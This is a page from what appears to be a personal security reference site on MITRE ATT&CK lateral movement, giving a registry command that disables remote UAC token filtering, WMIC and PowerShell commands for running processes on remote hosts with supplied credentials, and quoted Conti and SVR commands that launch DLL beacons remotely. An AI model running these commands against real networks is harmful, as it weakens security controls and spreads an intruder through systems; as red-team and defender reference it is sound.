> For the complete documentation index, see [llms.txt](https://burmat.gitbook.io/security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://burmat.gitbook.io/security/hacking/domain-exploitation/lateral-movement.md). Agents can also search and read this documentation through its [MCP server](https://burmat.gitbook.io/security/~gitbook/mcp).

# Lateral Movement (TA0008)

The adversary is trying to move through your environment. https\://attack.mitre.org/tactics/TA0008/

## Disable Remote UAC Restrictions - T1548.002

{% code overflow="wrap" %}

```powershell
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

{% endcode %}

## WMIC - T1047

Source: <https://www.picussecurity.com/resource/blog/t1047-windows-management-instrumentation-of-the-mitre-attack-framework>

WMI allows users with the required privileges to execute commands in remote hosts without additional tools. Adversaries abuse this feature to move laterally in a compromised network. Adversaries used the following commands to execute commands in a remote host.

{% code overflow="wrap" %}

```powershell
wmic /node:<remote_ip> /user:<username> /password:<password> process call create cmd.exe /c "<command>"
```

{% endcode %}

Or, with PowerShell:

{% code overflow="wrap" %}

```powershell
Invoke-WMIMethod -class Win32_Process -Name Create -ArgumentList "cmd /c <command>" -ComputerName <remote_hostname>
```

{% endcode %}

Conti TTP

{% code overflow="wrap" %}

```powershell
wmic /node:victim_ip process call create "rundll32.exe C:/ProgramData/beacon_dll DllRegisterServer"
```

{% endcode %}

Russian Foreign Intelligence Service (SVR) TTP

{% code overflow="wrap" %}

```powershell
wmic /node:<remote_host's_IP> /user:<username> /password:<password> process call create "rundll32 C:\Windows\system32\AclNumsInvertHost.dll AclNumsInvertHost"
```

{% endcode %}
